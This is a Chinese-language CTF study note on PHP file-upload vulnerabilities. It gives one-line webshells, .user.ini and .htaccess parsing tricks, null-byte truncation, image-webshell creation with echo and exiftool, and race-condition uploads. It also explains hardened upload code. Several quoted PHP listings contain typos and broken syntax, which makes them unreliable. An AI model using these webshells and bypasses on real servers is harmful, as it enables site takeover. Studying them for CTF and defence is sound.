ctf 文件上传
1.Content-Type
抓包关注 Content-Type:
可以改为这些
image/png
image/gif
jpg image/jpeg
2.后端校验-配置文件
.user.ini
在nginx或者Apache服务中都可以使用
利用条件:open_basedir没有被限制
利用函数:auto_append_file 、 auto_prepend_file
利用原理:使用该配置文件可以让所有php文件自动包含某个文件
解释两个函数:
auto_append_file
: 在加载打开的php文件的第一行代码之后加载配置指定的php文件
auto_prepend_file
: 在加载打开的php文件的第一行代码之前加载配置指定的php文件
.user.ini 中写入 auto_prepend_file=upload.png
3.后端校验-大小写绕过
上传的一句话木马: <?pHp eval($_POST['a']);?>
4.后端校验-短标签绕过
eg: <?php echo 1; ?> 正常写法
<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';
<?= phpinfo();?>
<% echo 1; %> asp 风格写法
<script language="php"> echo 1; </script> 长标签写法
5.后端校验-符号绕过
(1)中括号过滤使用大括号绕过 <?pHp eval($_POST{'a'});?>
(2)大括号也被过滤了 不能用一句话木马了,直接rce
上传txt文件,文件内容写入 <? exec('cat ../f* > yuanshen.txt')?>
对程序函数解读:
system : 输出并返回最后一行的shell结果
exec :不输出结果 返回最后一行shell的结果 所有结果可以保存到一个返回的数组里面
passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上
> 把结果写入yuanshen.txt
然后上传查看flag的文件,<? system('cat ../f*')?>
(3)小括号 符号绕过
<? `cat ../f* > myflag.txt` ?>
<? echo `tac ../f*` ?>
auto_prepend_file=upload.png
三件套上传
实例文件上传漏洞
一.零防御(没任何过滤)
源代码 upload.php
if (isset($_POST[]'Upload'])){ $target_path ="uploads/"; $target_path = $target_path .basename( $_FILES['uploaded']['name']); if(!move_uploaded_file($_FILES ['uploaded']['tmp_name'], $target_path)){ echo '<pre>'; echo'您的图片上传失败'; echo '</pre>'; } else { echo '<pre>'; echo $target_path.'文件已经成功上传!'; echo '</pre>'; }
这段PHP代码对上传的文件没有任何的过滤,只是将上传的文件直接存储到了网站uploads文件夹下,此时如果我们上传一个一句话木马并通过浏览器访问加上参数的地址或者使用中国菜刀直接连接,就可以为所欲为了。
一句话木马
<?php
eval($_GET[cmd']);
?>
二.初级防御-验证文件类型
源代码 upload.php
<?php if( isset( $_POST[ 'Upload'])){ $target path ="uploads/"; $target path .= basename($_FILES['uploaded']['name']); //识别文件类型 $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FlLES['uploaded']['size']; if(($uploaded_type == "image/jpeg"||$uploaded_type =="image/png" )&&($uploaded size<100000)) if( !move_uploaded_file( $ FILES['uploaded']['tmp_name'], $target_path )){ echo "<pre>图片上传失败</pre>"; }else{ echo"<pre>{$target_path}图片上传成功!</pre>"; } }else{ echo"<pre>只允许上传jpg或者png格式的图片文件,且文件大小不能超过100k</pre>"; } }
限制了文件类型
抓包改 content-Type: image/png 文件类型限制为图片
三.一般防御-验证文件后缀
<?php if( isset( $_POST['Upload'])){ $target path ="uploads/"; $target path .= basename($_FILES['uploaded']['name']); //记录文件信息 $uploaded_name = $_FLES['uploaded']['name']; $uploaded_ext = substr($uploaded_name,strrpos[$uploaded_name, '.' )+ 1); $uploaded_size = $_FILES['uploaded']['size']; $uploaded_tmp = $_FlLES['uploaded']['tmp_name']; //识别文件后缀 if( ( strtolower[ $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&($uploaded size<100000)&&getimagesize($uploaded tmp)){ if( !move_uploaded_file($uploaded_tmp, $target_path )){ echo"<pre>图片上传识别.</pre>"; }else{ echo "<pre>{$target_path}图片上传成功!</pre>"; }} else{ echo"<pre>只能上传格式为jpg和png的图片.</pre>"; } } ?>
相比较于前一种比价简单的验证content-type的防护方式,一般级别的防护措施换成了验证文件后缀的方式,顺便多说一句,在为了安全性设置一些限制时使用白名单永远比设置黑名单要安全的多,因为总会有-各种方式绕过黑名单的方式或者是一些针对不同服务器系统或着服务器的特殊解析原理而造成的一些安全隐患。
以下是获取文件后缀的代码:
$uploaded_ext = substr($uploaded_name,strrpos[$uploaded_name, '.' )+ 1);
通过本语句获取文件名中最后一个“.”后的字符识别上传的文件名的后缀,并将后缀存储在一个变量中。
if((strtolower( $uploaded_ext )=="jpg" || strtolower( $uploaded_ext )== "jpeg" || strtolower($uploaded_ext)=="png" )&&($uploaded_size<100000)&&getimagesize($uploaded_tmp))
而在if的逻辑判断中,需要上一条语句截取到的文件后缀为“jpg”“jpeg”或者“png”,切且上传的文件大小不得大于10000b.
如果只有这个限制方法的话,可以直接使用burpsuite进行00截断,从而使得在文件后缀验证时通过但是在文件转储的时候忽略掉00之后的内容从而实现后缀欺骗,具体方式如下:
假设网站只能上传图片文件并在后台做了后缀的限制
此时你要上传一个shell.php的一句话木马将”shell.php”改为”shel.php 1.png使用burpsuite截断代理,拦截数据包
将”shell.php 1.png”发送至repeter,从text模式转换为hex编辑模式,找到”shellphp 1.png”中空格对应的hex值“20”,将20改为00
从hex模式恢复为text并将修改过的字符串替换原来报文中的”shellphp1.png发送报文,操作成功后会显示文件上传成功
操作成功后会显示文件上传成功,在php版本小于5.3.4的版本中,当Magic_quote-gpc选项为off时可以在文件名中使用%00截断,所以可以把上传文件命名a1.php%00.png进行绕过,我们用bp抓包检测一下文件类型。可以发现文件类型是png成功绕过前端,并且到服务器文件会被解析成php文 件,因为00后面的被截断了,服务器不解析。
但是在本例中,00截断的方法不再有效,因为if条件中还有一个getimagesize()函数,此函数会自动识别上传的图片的文件头,长宽,mime类型等信息,因此如果上传的文件不是图片将无法上传。绕过这个限制的方法是制作图片马,我是在linux环境下制作的,只需准备一个图片大小较小的jpg 或者png格式的图片,使用echo命令
echo'<?php @eval($_POST[“cmd”];'>>1.png
来合成一张图片马,如果用二进制编辑器打开此文件会发现一句话木马写到了文件的后面,把这样的文件上传时,由于文件头仍然是jpg的文件头,getimagesize()函数也会正确的返回图片的大小和文类型,因此通这种方式可以绕过getimagesize()函数的限制,再结合00截断即可上传木马并在服 务器端将文件解析为php脚本,从而正确执行。
但是如果服务器的PHP版本较高,则无法通过此方法进行漏洞的利用,需要结合文件包含漏洞进行利用。
四.全方位限制
无解的防护-全方面限制当然安全只是相对的,没有绝对的安全一下代码对输入的文件进行了多种方式的审查并进行了重新编码,是目前比较完善了安全防御措施。
<?php if( isset( $_PosT['Upload' ])){ checkToken($_REQUEST ['user_token'],$_SESSlON['session_token' ],'index.php'); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' )+ 1); $uploaded_size=$_FILES ['uploaded']['size']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_tmp = $_FILES['uploaded']['tmp_name']; $target_path ='uploads/'; $target_file = md5(uniqid().$uploaded_name ).'.' .$uploaded_ext; $temp_file =((ini_get('upload_tmp_dir')==")?( sys_get_temp_dir()):ini_get( 'upload_tmp_dir'))); $temp_file .= DIRECTORY_SEPARATOR.md5( unigid() .$uploaded_name ).'.'. $uploaded_ext; if( $uploaded_type =='image/ipeg'){ $img = imagecreatefromjpeg( $uploaded_tmp ); imageipeg( $img, $temp_file, 100); }else { $img = imagecreatefrompng($uploaded_tmp); imagepng( $img,$temp_file, 9); } imagedestroy( $img); //文件转储 if( rename[ $temp_file, ( getcwd(). DIRECTORY_SEPARATOR. $target_path . $target_file ))){ $html .= "<pre><a href='${target_file}${target_file}'>${target_file}</a> succesfully uploaded!</pre>" }else { $html.='<pre>Your image was not uploaded.</pre>'; } //删除所有暂时文件 if( file_exists( $temp file ]) unlink( $temp file ); }else{ //无效文件 $html .= '<pre>Your image was not uploaded, We can only accept jPEG or PNG images.</pre>'; } } //添加抗csrf验证 generateSessionToken(); ?>
上述代码的安全措施: 添加了sessionToken,验证会话身份,用于防止csrf攻击使用md5(uniqid(.$uploaded name)函数,uniqid(函数是根据当前的时间,生成一个唯一的id,跟大多数随机函数一样,基于时间的随机函数在一定条件下也是可以差生碰撞的,因此本例中采用了md50函数来保证生成id的唯一性,而且由于md50函数对上传的文件名进行了重命名,因此无法使用00截断的方式来上传php或者其他恶意脚本文件。
以白名单的方式限制上传的文件后缀
限定上传的文件大小不得超过10000
通过imagecreatefromipeg()和imagecreatefrompng()函数将上传的图片文件重新写入到一个新的图片文件中,这两个函数会自动将图片中的有害元数据抹除,因此即使黑客上传了一张图片马也会被这个函数过滤成一个纯正的图片。
imagedestroy($img)将用户上传的源文件删除
unlink($temp_file )删除过滤过程中产生的任何临时文件
条件竞争上传
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行
他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果.
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(criticalsection)
如果没有应用好同步技术则会发生“竞争条件”问题。就是两个线程同时去抢一个资源,不知道到底哪个能抢到,此处便形成了竞争。
1.引狼入室
<?php $allowtype = array("gif","png","jpg"); $size=10000000; $path = "./"; $filename = $_FlLES['myfile']['name']; if (is_uploaded_file($_FILES['myfile']['tmp name'])){ if(!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){ die("error:can not move!"); } else { die("error:not an upload file ! "); } $newfile= $path.$filename; echo "file upload success.file path is: ".$newfile."\n<br />"; if ($_FILES['myfile']['error']>0){ unlink($newfile); die("Upload file error:"); } $ext = array_pop(explode(".",$_FILES['myfile']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); die("error:upload the file type is not allowed, delete the file ! "); ?>
这段代码做了防御,首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。
虽然他想的十分周到,可以利用检查文件的格式,mime甚至是文件内容,但是他忽略了一点不论符不符合要求,我们的文件还是能够接触到他的,哪怕是短短的几微秒
“文件上传+运行脚本”和“删除文件”这两个操作之间的竞争,那资源又是什么呢?
这里的资源应该是争夺主机执行顺序的优先权
刚才我们讲到,攻击者即使上传不符合要求的文件会被删除,但是也有很短暂的时间接触到主机.
也就是说,攻击者想要达到目的,他就必须能够在这么短暂的时间内,和“删除文件”这个操作竞争执行的优先权,在删除之前完成“文件上传+运行脚本写入木马”这个操作,谁的资源多,谁就越能先执行完。
因为这个漏洞很受环境因素的影响,比如网络延迟、服务器的处理能力等,所以只执行一次可能并不会成功,条件竞争漏洞有时很难通过黑盒/灰盒的方法来进行挖掘。
2.如何提高竞争成功率
(1)减慢对手进程的速度
(2)增加单位时间内的自己进程执行次数
(3)增加自己进程的速度
也就是说,web条件竞争中,网速越慢,题目的进程运行速度也会有影响,自己的机器运行速度越快,并发线程越多,就越有可能成功。
但是我们不可能真的控制题目的运行速度,所以最好的办法就是加大自己程序的并发量.
htaccess
1.什么是htaccess
.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
2.什么情况下htaccess可以使用
AllowOverride参数就是指明Apache服务器是否去找.htacess文件作为配置文件
如果设置为none,那么服务器将忽略.htacess文件
如果设置为AIL,那么所有在.htaccess文件里有的指令都将被重写。
对于AllowOverride,还可以对它指定如下一些能被重写的指令类型.
通常利用Apache的rewrite模块对URL进行重写的时候,rewrite规则会写在.htaccess 文件里.
但要使 apache 能够正常的读取.htaccess 文件的内容,就必须对.htaccess所在目录进行配置。
从安全性考虑,根目录的AIlowOverride属性一般都配置成不允许任何0verride,即
<Directory/> AllowOverride None </Directory>
一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。
有一种很常见的误解,认为用户认证只能通过.htaccess文件实现,其实并不是这样,把用户认证写在主配置文件中是完全可行的,而且是一种很好的方法。
左边是开启了htaccess配置之后的样式,一般做法是将
<Directory /> Options FolowSymLinks AllowOverride None </Directory>
//修改为
<Directory /> Options FollowSymLinks AllowOverride All </Directory>
3.htaccess解析漏洞构造
<FilesMatch "cimer"> SetHandler application/x-httpd-php </FilesMatch>
第一种方式是绕过文件名的限制,当服务器上传点只能够上传固定文件名的文件时,通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。
这个“cimer”的内容如果是一句话木马即可利用菜刀进行连接。
第二种构造方法是用于后缀绕过: 这个当前文件夹和其子文件夹里的所有.jpg、.ico、.jpeg、.png格式文件同样可以被当作php代码解析如果php代码中对后缀和mime做了限制$allow_suffix = array(jpg,gif'"peg,png);
特别是现在很多框架都会做这个限制,再加上现如今用的大部分都是php7.0,我们将没有机会使用截断上传等方式绕过。
但是很多上传点也不过滤htaccess,如果受害者的服务器刚好开启了htaccess配置,那么我们就可以用这个种
3.图片马构造
这里需要给大家提及一个知识点,就似乎图片马怎么构造
一般来说大家会遇到两个问题:
1.直接记事本插入php代码导致破坏图片原本格式,过不了上传
2.将php文件直接改成图片后缀也不是图片格式,遇到识别文件头也上传不了
同学们切记,如果你需要构造图片马就两种方法:要么echo追加内容,要么用exiftool
1.echo '<?php eval($_POST“cmd")'>> 1.jpg
2.exiftool -label="\ "|/bin/cat /home/ctf/flag.txt > /opt/lampp/htdocs/uploads/flag.txt ; "" 1.png